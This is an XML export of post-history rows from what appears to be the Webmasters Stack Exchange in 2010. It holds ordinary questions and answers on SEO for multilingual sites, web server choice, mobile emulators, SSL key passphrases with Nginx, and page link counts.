  <row Id="2196" PostHistoryTypeId="2" PostId="1235" RevisionGUID="f25d17b5-78e0-4d5c-b8fc-8a16fc49b5c7" CreationDate="2010-07-19T06:55:44.360" UserId="576" Text="Answering a question similar to yours on his blog, [Matt Cutts suggests][1]:&#xD;&#xA;&#xD;&#xA;&gt; If you have sites with say French and&#xD;&#xA;&gt; German versions for a business, my&#xD;&#xA;&gt; preferences would be:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. ccTLDS such as example.fr or example.de&#xD;&#xA;&gt; 2. After than, subdomains such as fr.example.com or de.example.com.&#xD;&#xA;&gt; 3. If that’s not possible, I’d use subdirectories such as example.com/fr/&#xD;&#xA;&gt; or example.com/de/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/#comment-118520" />
  <row Id="2197" PostHistoryTypeId="2" PostId="1236" RevisionGUID="12eeb69f-20ce-45d8-abb6-8858345d1fb6" CreationDate="2010-07-19T06:57:53.543" UserId="432" Text="It really depends on what you're doing.&#xD;&#xA;&#xD;&#xA;If you only have static content, you don't need Apache. nginx or lighttpd would serve you just fine.&#xD;&#xA;&#xD;&#xA;If you have a mix of static and dynamic (well, Perl or PHP), but a small site, you can still get by with one of those alternative plus FastCGI, or just throw the whole thing into Apache.&#xD;&#xA;&#xD;&#xA;If you're serving Ruby along with your static content, `mod_passenger` in Apache should serve you well, with nginx/lighttpd/etc serving your static content.&#xD;&#xA;&#xD;&#xA;For Python (my area of expertise), you can have Apache use `mod_python` if you want but prepare for slowness. `mod_wsgi` is better but you still have the overhead of Apache, which is fine *if* you have a lot of **heavy** dynamic traffic. Apache is a heavy lifter most of the time.&#xD;&#xA;&#xD;&#xA;If you don't have a ton of heavy traffic, look into new systems like `gunicorn` or `uWSGI` or the all-in-one server Cherokee to handle your Python. Cherokee handles static files, too. The rest, you'll still want to use nginx/lighttpd to serve the static content.&#xD;&#xA;&#xD;&#xA;Java and other languages, I have no idea about.&#xD;&#xA;&#xD;&#xA;The great thing about using nginx, though, is that it's amazingly configurable. So set up a couple of static servers with different subdomains, one each for CSS, images, and JS. That way you help avoid the limit of 2 files per domain at a time. Set up several servers and then set up an nginx proxy/load-balancer in front of them to make sure all of your static content is always available.&#xD;&#xA;&#xD;&#xA;Basicaly, YES, look at more than just Apache!" />
  <row Id="2198" PostHistoryTypeId="2" PostId="1237" RevisionGUID="fd6ad9b5-7da4-48e1-92ec-36497858c198" CreationDate="2010-07-19T07:28:37.090" UserId="766" Text="If both servers are on IIS the best tool is Microsoft's msdeploy - it'll sync IIS settings, content,ACLs and even databases. &#xD;&#xA;On Linux you could use ftp as others suggested, or if you have shell access rsync.&#xD;&#xA;Then you can use IIS SEO tool to check for broken links.&#xD;&#xA;" />
  <row Id="2199" PostHistoryTypeId="2" PostId="1238" RevisionGUID="a221d2d5-1001-40ce-9adb-228b3a0e92a0" CreationDate="2010-07-19T07:29:09.273" UserId="765" Text="Since you post is tagged ASP.Net: [look at this site][1], it contains sample code to replace (most) text with diacritics (invalid characters you call them) with their base character.&#xD;&#xA;&#xD;&#xA;As Kris has mentioned, use unique ID in your url, like this site does. If you have no control over the ID's provided to you, you should create a translation table, that contains your unique ID, with the external unique ID's. That way your internal references are also good when the external ID's changes. Together with your unique ID, you store your &quot;Search and Human optimized ID&quot;, the one that is not so unique, but looks good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/b/michkap/archive/2005/02/19/376617.aspx" />
  <row Id="2200" PostHistoryTypeId="2" PostId="1239" RevisionGUID="c0ec1764-a57d-4cea-b68f-805f1bc453a2" CreationDate="2010-07-19T07:58:29.123" UserId="322" Text="Wikipedia often use non-latin1 characters in their URLs. There is no reason (beyond your webserver not supporting them) that you shouldn't use these URLs.&#xD;&#xA;&#xD;&#xA;However; If you have to avoid these characters, I have found that replacing them with their non-[diacritic][1] form. Most people who read these can tell (from context) what the word is supposed to be even though the diacritics have been removed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Diacritic" />
  <row Id="2201" PostHistoryTypeId="2" PostId="1240" RevisionGUID="49b05b03-5124-4936-83ef-6a7fe2453651" CreationDate="2010-07-19T08:15:37.320" UserId="771" Text="I would not use sub-domains. In terms of SEO it's less helpful:&#xD;&#xA;http://www.hobo-web.co.uk/seo-blog/index.php/blog-subdomain-or-subfolder-which-is-best/&#xD;&#xA;&#xD;&#xA;Similar talk here:&#xD;&#xA;webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory&#xD;&#xA;&#xD;&#xA;If you look at big sites, the most often use sub-domains.&#xD;&#xA;&#xD;&#xA;It also depends if your business is more of a global or local nature. We are a copyrighting agency, so for use its more local business. Therefore Top Level Domains are better than running everything on .com&#xD;&#xA;&#xD;&#xA;Filename is a concept I have not seen yet." />
  <row Id="2202" PostHistoryTypeId="5" PostId="328" RevisionGUID="c0a7c9a4-24f7-46f4-8f4f-8955214eca84" CreationDate="2010-07-19T08:20:16.340" UserId="772" Comment="removed affiliate link" Text="[Dreamhost][1] is a great hosting company. I've been using them for like 5 years now with out a single complaint.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com/" />
  <row Id="2203" PostHistoryTypeId="2" PostId="1241" RevisionGUID="f1f7ef56-60b6-4b01-b4e8-13e7e086ef94" CreationDate="2010-07-19T08:26:10.993" UserId="180" Text="I've used [PairNIC][1] for quite some time, mainly because I've been hosting with pair Networks since '96 or so and have found them to be incredibly reliable.&#xD;&#xA;&#xD;&#xA;Definitely not the cheapest, easiest to use, or sexiest.  On the plus side, there is no major upsell, the management tools are solid, and they aren't flakey at all.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pairnic.com/" />
  <row Id="2204" PostHistoryTypeId="16" PostId="1241" RevisionGUID="f1f7ef56-60b6-4b01-b4e8-13e7e086ef94" CreationDate="2010-07-19T08:26:10.993" UserId="-1" />
  <row Id="2206" PostHistoryTypeId="2" PostId="1242" RevisionGUID="74b8f3d5-1816-48bf-916b-001ac5938958" CreationDate="2010-07-19T08:40:38.680" UserId="774" Text="A few years ago I wrote a package called pushsite (free download from Sourceforge). Its not been actively maintained so you may experience some problems with it - but the docs include links to several other open-source packages for FTP / sync. It needs perl to run (which I believe comes as astandard with Mac, but needs a seperate download for MSWindows - have a google for activePerl).&#xD;&#xA;&#xD;&#xA;For fixing links - sed.&#xD;&#xA;&#xD;&#xA;C.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2207" PostHistoryTypeId="2" PostId="1243" RevisionGUID="6f495ae6-d082-408b-bc9a-4ea6045ddf85" CreationDate="2010-07-19T09:13:32.397" UserId="125" Text="I'm wondering since I found out that [creating a CNAME and an MX record is not allowed][1].&#xD;&#xA;&#xD;&#xA;I want to create a 301 redirect from `example.com` to `www.example.com`, and have email with `@example.com` addresses.&#xD;&#xA;&#xD;&#xA;I'm using 1&amp;1 as my registrar, btw.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/880/blogger-and-google-app-hosting-at-naked-domain-using-11/949#949" />
  <row Id="2208" PostHistoryTypeId="1" PostId="1243" RevisionGUID="6f495ae6-d082-408b-bc9a-4ea6045ddf85" CreationDate="2010-07-19T09:13:32.397" UserId="125" Text="Is it possible to create a 301 redirect and MX records at a naked domain?" />
  <row Id="2209" PostHistoryTypeId="3" PostId="1243" RevisionGUID="6f495ae6-d082-408b-bc9a-4ea6045ddf85" CreationDate="2010-07-19T09:13:32.397" UserId="125" Text="&lt;web-hosting&gt;" />
  <row Id="2210" PostHistoryTypeId="2" PostId="1244" RevisionGUID="560940ce-45f0-4b7b-84e9-50662fe64274" CreationDate="2010-07-19T09:19:22.010" UserId="693" Text="This is the same question I asked on [StackOverflow][1]. And I got a recource for it, ill post the answer.&#xD;&#xA;&#xD;&#xA;I have found a nice [resource from Google][1] on the choices you can make. There is a section with pros and cons of each method you can use.&#xD;&#xA;&#xD;&#xA;I have been struggling with the multi-lingual websites for a while now.&#xD;&#xA;&#xD;&#xA;There are definitely some points in the article that are not mentioned in the answers mentioned. That why I felt the need to post this as an answer. I hope this helps someone out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2931597/what-is-the-best-place-to-display-the-language-in-your-url" />
  <row Id="2211" PostHistoryTypeId="2" PostId="1245" RevisionGUID="ca435049-fcce-42e0-ad48-3087dd4976c0" CreationDate="2010-07-19T09:32:14.297" UserId="576" Text="The following tools may not meet all your requirements but you can check them out -&#xD;&#xA;&#xD;&#xA; - [mobiReady][1]  &#xD;&#xA; - [MITE][2]&#xD;&#xA; - [IBM Rational Performance Tester][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://mobiready.com/&#xD;&#xA;  [2]: http://mite.keynote.com/&#xD;&#xA;  [3]: http://www.ibm.com/developerworks/rational/library/07/1106_dash-kapasi/" />
  <row Id="2212" PostHistoryTypeId="5" PostId="1245" RevisionGUID="c4f05b61-66f2-44a6-9ff7-b038c5db749f" CreationDate="2010-07-19T09:37:31.070" UserId="576" Comment="added 213 characters in body" Text="The following tools may not meet all your requirements but you can check them out -&#xD;&#xA;&#xD;&#xA; - [mobiReady][1]  &#xD;&#xA; - [MITE][2]&#xD;&#xA; - [IBM Rational Performance Tester][3]&#xD;&#xA;&#xD;&#xA;For some general recommendations, check the [slides of the Mobile Web High Performance presentation][4] at the Velocity 2010 conference&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mobiready.com/&#xD;&#xA;  [2]: http://mite.keynote.com/&#xD;&#xA;  [3]: http://www.ibm.com/developerworks/rational/library/07/1106_dash-kapasi/&#xD;&#xA;  [4]: http://en.oreilly.com/velocity2010/public/schedule/detail/13063" />
  <row Id="2213" PostHistoryTypeId="2" PostId="1246" RevisionGUID="4aabe432-634b-4dfd-9af1-f77c3018e2b7" CreationDate="2010-07-19T10:03:20.243" UserId="576" Text="There is a [wizard at the Adsense site to troubleshoot this issue][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/adsense/bin/request.py?contact=troubleshooter_CSA" />
  <row Id="2214" PostHistoryTypeId="2" PostId="1247" RevisionGUID="9766fe36-1e8e-43fa-af0a-37004b3839a0" CreationDate="2010-07-19T10:19:58.190" UserId="500" Text="After buying a multi-domain SSL certificate I have started testing it with the Nginx webserver  (following documentation in their [SSL wiki page][1]).&#xD;&#xA;&#xD;&#xA;Everything is fine, it works and I get a green padlock symbol in the URL bar but... every time I restart Nginx I get asked the following question (once for each server, e.g. **5 times**):&#xD;&#xA;&#xD;&#xA;&gt; *Starting nginx: Enter PEM pass phrase:*&#xD;&#xA;&#xD;&#xA;Is this normal and what everyone does for multi-domain certificates? or can I configure it so the password is remembered?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.nginx.org/NginxHttpSslModule" />
  <row Id="2215" PostHistoryTypeId="1" PostId="1247" RevisionGUID="9766fe36-1e8e-43fa-af0a-37004b3839a0" CreationDate="2010-07-19T10:19:58.190" UserId="500" Text="Can I skip the PEM pass phrase question when I restart Nginx?" />
  <row Id="2216" PostHistoryTypeId="3" PostId="1247" RevisionGUID="9766fe36-1e8e-43fa-af0a-37004b3839a0" CreationDate="2010-07-19T10:19:58.190" UserId="500" Text="&lt;ssl&gt;" />
  <row Id="2217" PostHistoryTypeId="2" PostId="1248" RevisionGUID="8f37ed80-230c-4eb0-ab42-3552913760d4" CreationDate="2010-07-19T11:32:57.317" UserId="221" Text="Are there any good tools that can be run on desktop machines (Windows or Linux) that can simulate a mobile device, preferably with some options as to screen size and mobile browser (user agent if not full render engine).&#xD;&#xA;&#xD;&#xA;I know it is never going to be perfect (especially without an actual touchscreen), but having a tool on our development machines to do what testing we can that way would be very useful." />
  <row Id="2218" PostHistoryTypeId="1" PostId="1248" RevisionGUID="8f37ed80-230c-4eb0-ab42-3552913760d4" CreationDate="2010-07-19T11:32:57.317" UserId="221" Text="Tools to simulate mobile devices on a desktop to test websites" />
  <row Id="2219" PostHistoryTypeId="3" PostId="1248" RevisionGUID="8f37ed80-230c-4eb0-ab42-3552913760d4" CreationDate="2010-07-19T11:32:57.317" UserId="221" Text="&lt;mobile&gt;&lt;tools&gt;&lt;browsers&gt;" />
  <row Id="2220" PostHistoryTypeId="5" PostId="897" RevisionGUID="60dce25a-7d0d-491d-8285-694ae0b47e22" CreationDate="2010-07-19T11:42:46.410" UserId="108" Comment="added 389 characters in body" Text="There are 4 things you can do.&#xD;&#xA;&#xD;&#xA; 1. Minify your JS File.  This removes all comments and Whitespace to reduce its size.&#xD;&#xA; 2. Combine your JS Files on each page so that there is only 1 file.&#xD;&#xA; 3. Use a package to gzip your files when you send them. This will make them even smaller&#xD;&#xA; 4. Put Javascript that isn't required immediately at the bottom of the page so that it loads at the end. This will allow the user to see and use the page even before the JS is completely loaded.&#xD;&#xA;&#xD;&#xA;And some other people have suggested:&#xD;&#xA;&#xD;&#xA; - Apache will automatically handle&#xD;&#xA;   compression (and caching of&#xD;&#xA;   compressed content) which massively&#xD;&#xA;   simplifies management of files&#xD;&#xA; - Making JavaScript properly cache-able&#xD;&#xA;   will yield big benefits.&#xD;&#xA; - Wildcard domains (with multiple URIs)&#xD;&#xA;   will allow more concurrent&#xD;&#xA;   connections. Pre-fetching is not just&#xD;&#xA;   for images/" />
  <row Id="2221" PostHistoryTypeId="2" PostId="1249" RevisionGUID="7b97d00e-bf2b-469a-bce7-9e4909e51fac" CreationDate="2010-07-19T11:42:59.780" UserId="791" Text="You have to change the router object of codeignitor. The relevant documentation is found here: http://codeigniter.com/user_guide/general/routing.html&#xD;&#xA;&#xD;&#xA;Besides changing the CMS-code you can also disable [Adwords Auto tagging][1]. This will not append any extra parameters to the target url.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=55590" />
  <row Id="2222" PostHistoryTypeId="2" PostId="1250" RevisionGUID="e733e8c9-a914-479b-8823-be116b17e345" CreationDate="2010-07-19T11:44:07.937" UserId="9301" Text="The [Anderoid SDK][1] comes with an emulator that you could use to test your websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.android.com/sdk/" />
  <row Id="2223" PostHistoryTypeId="2" PostId="1251" RevisionGUID="ae4da756-b89d-4ca7-b412-81697ea59a1c" CreationDate="2010-07-19T11:48:24.493" UserId="791" Text="Yes, this is a common thing to do. If the pass phrase would be stored on disk, an attacker could take over the certificate.&#xD;&#xA;&#xD;&#xA;Off course you could remove the pass phrase from the certificate, but I would not recommend that! Also other technical solutions exists with external peripherals." />
  <row Id="2224" PostHistoryTypeId="5" PostId="202" RevisionGUID="19ad4e4a-1e9e-42d4-81b9-1557ee58dcdd" CreationDate="2010-07-19T11:55:35.230" UserId="108" Comment="added 761 characters in body" Text="I am developing a website that has a drop-down menu at the top of it.  The Menu has around 100 links in it that are repeated on every page.  Every page also has some number of links below the Menu that may or may not be in the menu itself.&#xD;&#xA;&#xD;&#xA;My issue is that Google says they generally don't like pages with more than 100 links on them.  &#xD;&#xA;&#xD;&#xA;Is there any way to change the links on the menu so that they no longer &quot;count&quot; towards my max of 100 links?  It seems like there should be an easy way to do this but their really doesn't seem to be.  the rel=nofollow still counts towards the number of links on the page at least according to Google, so what other options do I have?&#xD;&#xA;&#xD;&#xA;I looked into where the 100 comes from and I found that it used to be here: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769#2 but that is no longer the case.  I found a more definitive and frankly muddier answer here: http://www.seomoz.org/blog/questions-answers-with-googles-spam-guru from Matt Cutts from 2007.&#xD;&#xA;&#xD;&#xA;Long story short, in 2007 they still felt 100 links was a good number but they stated you could go far beyond that.  In fact, they said that pages with high PageRank could have 2-300.  It did sound like having many links could reduce the PageRank of the page with all of the links or possibly all of the items linked to.&#xD;&#xA;&#xD;&#xA;Also, I know IIS7's SEO 1.0 toolkit suggests that pages should have no more than 250 links." />
  <row Id="2225" PostHistoryTypeId="5" PostId="1247" RevisionGUID="a1e47c3a-ab76-4111-a26d-bf60aa580316" CreationDate="2010-07-19T11:55:41.733" UserId="500" Comment="Addded note about restart problem" Text="After buying a multi-domain SSL certificate I have started testing it with the Nginx webserver  (following documentation in their [SSL wiki page][1]).&#xD;&#xA;&#xD;&#xA;Everything is fine, it works and I get a green padlock symbol in the URL bar but... every time I restart Nginx I get asked the following question (once for each server, e.g. **5 times**):&#xD;&#xA;&#xD;&#xA;&gt; *Starting nginx: Enter PEM pass phrase:*&#xD;&#xA;&#xD;&#xA;Is this normal and what many other people do? or can I configure it so the password is remembered?&#xD;&#xA;&#xD;&#xA;In particular, this is a issue when the machine is rebooted because the webserver won't start until the PEM pass phrase is entered (meaning the website has downtime until there is some human interaction).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.nginx.org/NginxHttpSslModule" />
  <row Id="2226" PostHistoryTypeId="2" PostId="1252" RevisionGUID="b15b95d3-6274-402a-b19f-4d1b88b02439" CreationDate="2010-07-19T12:01:11.363" UserId="480" Text="There is a round-up of them on [Mashable][1] (second section).&#xD;&#xA;&#xD;&#xA;&gt; [iBBDemo2][2] — This Adobe Air app will let you see content as it would appear on the iPad and on the iPhone. Support for Android is reportedly coming soon. The app is a bit slow but it does a good job showing accurate results for iOS devices. Just point the app towards your test mobile site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Android SDK][3] — The Android SDK comes with its own device emulator so you can see how websites will appear on Android handsets. Check out these guides for installing the Android SDK on [Mac][4] or [Windows][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Blackberry Web Development Page][6] — This page gives you access to the BlackBerry simulators and includes tips for designing for BlackBerry devices.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;[Symbian S60 SDKs][7] — Nokia’s site has information on the S60 platform and available emulators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Opera Mini Emulator][8] — Opera has a desktop version of its mobile browser and lots of resources about designing for Opera Mobile across platforms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mashable.com/2010/07/13/mobile-web-optimization/&#xD;&#xA;  [2]: http://www.puresimstudios.com/ibbdemo/&#xD;&#xA;  [3]: http://developer.android.com/sdk/index.html&#xD;&#xA;  [4]: http://www.buildcontext.com/blog/2009/11/06/installing-android-sdk-browser-testing-mac-os-x/&#xD;&#xA;  [5]: http://www.maggadget.com/try-android-2-1-on-windows/&#xD;&#xA;  [6]: http://na.blackberry.com/eng/developers/browserdev/&#xD;&#xA;  [7]: http://www.forum.nokia.com/Library/Tools_and_downloads/Other/Symbian_SDKs/&#xD;&#xA;  [8]: http://dev.opera.com/articles/view/opera-mobile-10-widgets-mobile-emulator-desktop/" />
  <row Id="2227" PostHistoryTypeId="2" PostId="1253" RevisionGUID="de7e1804-3a46-4751-9d29-15031d634a74" CreationDate="2010-07-19T12:09:59.770" UserId="9301" Text="As a German user I hate it when a website won't let me on the English page because it's think it knows better what I want. It might be hard for Americans to understand but there are actually people who speak more than one language.&#xD;&#xA;&#xD;&#xA;Sometimes I might want to view the German websites and sometimes I might want to view the English one.&#xD;&#xA;&#xD;&#xA;Simply parsing the Accept-Language header might drive me mad.&#xD;&#xA;&#xD;&#xA;That especially true if your German page is a cheap translation of your English page.&#xD;&#xA;&#xD;&#xA;To make it easy for your user the English version should also have localisation such as domain.com/en/ or en.domain.com.&#xD;&#xA;&#xD;&#xA;When I type domain.com you get one guess to give me the English or the German page based on my Accept Language header. If I however don't like your choice than I should be able to simply exchange the language in the domain name.&#xD;&#xA;&#xD;&#xA;Extra hint: If you have the language in front of the domain name both typing ger.domain.com and de.domain.com should bring me to the German website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2228" PostHistoryTypeId="5" PostId="1033" RevisionGUID="79c136ad-2417-4e69-b729-e4884b9e43ca" CreationDate="2010-07-19T12:19:43.573" UserId="288" Comment="clarification" Text="There's probably not a lot you can do and I don't think that there is any right answer.&#xD;&#xA;&#xD;&#xA;I was going to say that I would either take the post down or not let it through (depending on your moderation scheme), but that could be interpreted the wrong way by the poster. However, you don't really want such posts on your site - other users might not be sympathetic or tactful.&#xD;&#xA;&#xD;&#xA;The best you can do is not be judgemental and reply with a link or phone number to the Samaritans (or equivalent) in their country (assuming you know the country)." />
  <row Id="2229" PostHistoryTypeId="2" PostId="1254" RevisionGUID="e66e6fad-3323-4499-855f-c1c8572b6045" CreationDate="2010-07-19T13:01:44.237" UserId="500" Text="As suggested, I asked the question on ServerFault: http://serverfault.com/questions/161768/restart-webserver-without-entering-a-password&#xD;&#xA;&#xD;&#xA;But the short answer is:&#xD;&#xA;&#xD;&#xA;Backup your key:&#xD;&#xA;&#xD;&#xA;    &gt; cp server.key server.key.org&#xD;&#xA;&#xD;&#xA;Strip out the password:&#xD;&#xA;&#xD;&#xA;    &gt; openssl rsa -in server.key.org -out server.key&#xD;&#xA;&#xD;&#xA;    [enter the passphrase]&#xD;&#xA;&#xD;&#xA;The newly created `server.key` file has no more passphrase in it and the webservers **start without needing a password**.&#xD;&#xA;&#xD;&#xA;Another option is to use Apaches `SSLPassPhraseDialog` option to automatically answer the SSL pass phrase question.&#xD;&#xA;&#xD;&#xA;**Disclaimer:**  If the private key is no longer encrypted, it is critical that this file only be readable by the root user! If your system is ever compromised and a third party obtains your unencrypted private key, the corresponding certificate will need to be revoked. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="2230" PostHistoryTypeId="5" PostId="1252" RevisionGUID="84ebcd03-8507-40f2-aad8-f00c75e5359f" CreationDate="2010-07-19T14:05:14.537" UserId="480" Comment="added 321 characters in body" Text="There is a round-up of them on [Mashable][1] (second section).&#xD;&#xA;&#xD;&#xA;&gt; [iBBDemo2][2] — This Adobe Air app will let you see content as it would appear on the iPad and on the iPhone. Support for Android is reportedly coming soon. The app is a bit slow but it does a good job showing accurate results for iOS devices. Just point the app towards your test mobile site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Android SDK][3] — The Android SDK comes with its own device emulator so you can see how websites will appear on Android handsets. Check out these guides for installing the Android SDK on [Mac][4] or [Windows][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Blackberry Web Development Page][6] — This page gives you access to the BlackBerry simulators and includes tips for designing for BlackBerry devices.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;[Symbian S60 SDKs][7] — Nokia’s site has information on the S60 platform and available emulators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Opera Mini Emulator][8] — Opera has a desktop version of its mobile browser and lots of resources about designing for Opera Mobile across platforms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also using [Virtual PC 2007][9] you can install a [Windows Mobile Emulator][10].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mashable.com/2010/07/13/mobile-web-optimization/&#xD;&#xA;  [2]: http://www.puresimstudios.com/ibbdemo/&#xD;&#xA;  [3]: http://developer.android.com/sdk/index.html&#xD;&#xA;  [4]: http://www.buildcontext.com/blog/2009/11/06/installing-android-sdk-browser-testing-mac-os-x/&#xD;&#xA;  [5]: http://www.maggadget.com/try-android-2-1-on-windows/&#xD;&#xA;  [6]: http://na.blackberry.com/eng/developers/browserdev/&#xD;&#xA;  [7]: http://www.forum.nokia.com/Library/Tools_and_downloads/Other/Symbian_SDKs/&#xD;&#xA;  [8]: http://dev.opera.com/articles/view/opera-mobile-10-widgets-mobile-emulator-desktop/&#xD;&#xA;  [9]: http://www.microsoft.com/downloads/details.aspx?FamilyID=04d26402-3199-48a3-afa2-2dc0b40a73b6&amp;displaylang=en&#xD;&#xA;  [10]: http://www.microsoft.com/downloads/details.aspx?FamilyID=1a7a6b52-f89e-4354-84ce-5d19c204498a&amp;displaylang=en" />
  <row Id="2231" PostHistoryTypeId="2" PostId="1255" RevisionGUID="2ec6329c-95e4-46cf-9bf5-4224d2b35b48" CreationDate="2010-07-19T14:18:09.747" UserId="287" Text="If you're looking for something REALLY simple, you can try [Posterous][1].  You basically send it an email and it turns the email into a blog post.  It can also be configured so that it appears to be hosted at any domain you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://posterous.com/" />
  <row Id="2232" PostHistoryTypeId="5" PostId="1172" RevisionGUID="e8e81af7-fb9f-47cd-88a6-8c08dffc3c5c" CreationDate="2010-07-19T14:35:51.547" UserId="17" Comment="added 361 characters in body; edited tags" Text="How do you enhance your websites load speed without killing the design and accessibility? File compression, CDN, Gzip? What are the best tools for doing so?&#xD;&#xA;&#xD;&#xA;For example, Google has optimized their site without compromising the design. Also, many website can kill the purity of their images with compression.&#xD;&#xA;&#xD;&#xA;Is there a way, more or lest best practice, to increase speed without compromising the design and accessibility?&#xD;&#xA;&#xD;&#xA;**Note**: sorry for being so vague but I don't know how else to phrase this question.  " />
  <row Id="2233" PostHistoryTypeId="6" PostId="1172" RevisionGUID="e8e81af7-fb9f-47cd-88a6-8c08dffc3c5c" CreationDate="2010-07-19T14:35:51.547" UserId="17" Comment="added 361 characters in body; edited tags" Text="&lt;seo&gt;&lt;speed&gt;&lt;design&gt;&lt;cdn&gt;&lt;gzip&gt;" />
  <row Id="2234" PostHistoryTypeId="5" PostId="1220" RevisionGUID="68ef3d65-954b-4f71-9874-a30755be2f25" CreationDate="2010-07-19T14:37:17.237" UserId="26" Comment="minor grammar fixes" Text="I have a website with dynamic content and different kind of pages. I have some pages that rarely change, and I have pages like blogs that change often. The blog pages also have links for sorting, for example sorting on date, asc, desc.&#xD;&#xA;&#xD;&#xA;On some of the pages I also have links to different tabbed content, and links that are just anchor links.&#xD;&#xA;&#xD;&#xA;Now when I use a [xml sitemap generator][1] then all the links are thrown into the site, and so I don't think all the links are really relevant.&#xD;&#xA;&#xD;&#xA;The blogposts up until now are also taken into the sitemap. Is this really necessary? I think the links to the blogposts can be indexed just fine.&#xD;&#xA;&#xD;&#xA;Is the best way to make a sitemap just to manually assign the main menu links to the sitemap, or is indexing everything really recommended?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/" />
  <row Id="2235" PostHistoryTypeId="5" PostId="1230" RevisionGUID="8cf5eaaf-a516-4eb4-ada4-d7ea7b1d762d" CreationDate="2010-07-19T14:44:05.957" UserId="108" Comment="Cleaned up grammar" Text="I have recently setup my blog and I look forward to posting once a week. I want to increase traffic to my blog and was searching for good search-engine tools. I came across Traffic-Seeker and now I plan to buy it. Before I buy it, I wanted reviews from those who have already used it. Please let me know if there's any alternate to Traffic-seeker. I'm looking for a good tool to increase traffic on my blog. &#xD;&#xA;&#xD;&#xA;- Is Traffic-seeker really good and does it work well?&#xD;&#xA;- What other tools are available that can drive good traffic to my blog?" />
  <row Id="2236" PostHistoryTypeId="2" PostId="1256" RevisionGUID="4c99c077-69f1-48d8-8310-d6eb7634b122" CreationDate="2010-07-19T14:44:48.107" UserId="480" Text="While Google hosts [this list][1] and Microsoft hosts [this one][2] there are several files missing such as [jQuery UI CSS][3]. Where can I find a complete listing of all the resources offered for both CDNs?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;  [2]: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;  [3]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css" />
  <row Id="2237" PostHistoryTypeId="1" PostId="1256" RevisionGUID="4c99c077-69f1-48d8-8310-d6eb7634b122" CreationDate="2010-07-19T14:44:48.107" UserId="480" Text="Where can I find the full list of Google/Microsoft CDN hosted AJAX files?" />
  <row Id="2238" PostHistoryTypeId="3" PostId="1256" RevisionGUID="4c99c077-69f1-48d8-8310-d6eb7634b122" CreationDate="2010-07-19T14:44:48.107" UserId="480" Text="&lt;google&gt;&lt;cdn&gt;&lt;microsoft&gt;&lt;ajax&gt;" />
  <row Id="2239" PostHistoryTypeId="2" PostId="1257" RevisionGUID="1192def5-fe66-4796-9e83-66c005c26646" CreationDate="2010-07-19T14:46:25.903" UserId="233" Text="Here are some stats that may be interesting:&#xD;&#xA;&#xD;&#xA;* Yahoo home page: **128** links&#xD;&#xA;* Digg.com home page: **250** links&#xD;&#xA;* Wikipedia home page: **274** links&#xD;&#xA;* Today's featured Wikipedia article: **717** links&#xD;&#xA;&#xD;&#xA;It's pretty clear that lots of links aren't a huge problem, particularly if the links are all to pages on your site. The biggest problem will be the user experience - can a user find what they are looking for easily enough, and not get lost in the links?&#xD;&#xA;&#xD;&#xA;A better strategy may be to only link to your major sections and pages (~30 links or so), then have a section menu on those pages. You could also try a breadcrumb trail menu if your site structure warrants it." />
